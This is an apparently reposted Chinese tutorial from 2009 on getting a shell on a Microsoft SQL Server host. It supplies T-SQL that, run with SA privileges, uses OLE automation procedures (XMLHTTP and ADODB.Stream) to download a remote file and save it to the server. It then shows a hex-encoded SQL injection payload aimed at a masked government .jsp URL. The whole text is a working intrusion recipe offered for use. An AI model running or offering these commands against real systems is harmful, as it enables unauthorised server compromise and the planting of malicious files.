首页 电脑 电脑学堂 查看内容

xml.http 下载拿SHELL

2009-7-20 09:58 619 0

摘要:   注意以下语句在SA权限下执行,对于N多扩展存储过程被删除时使用效果最佳。  DECLARE  @B varbinary(8000),  @hr int,  @http INT,  @down IN...
关键词: EXEC oamethod down http null sp hr 十六进制 output OASetProperty

  注意以下语句在SA权限下执行,对于N多扩展存储过程被删除时使用效果最佳。  DECLARE  @B varbinary(8000),  @hr int,  @http INT,  @down INT  EXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;  EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;  EXEC @hr = sp_oamethod @http,[Send],null ;  EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;  EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;  EXEC @hr=sp_OASetProperty @down,[Type],1 ;  EXEC @hr=sp_OASetProperty @down,[mode],3 ;  EXEC @hr=sp_oamethod @down,[Open],null ;  EXEC @hr=sp_oamethod @down,[Write],null,@B ;  EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--  将以上代码修改后转化为十六进制。然后提交:  http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部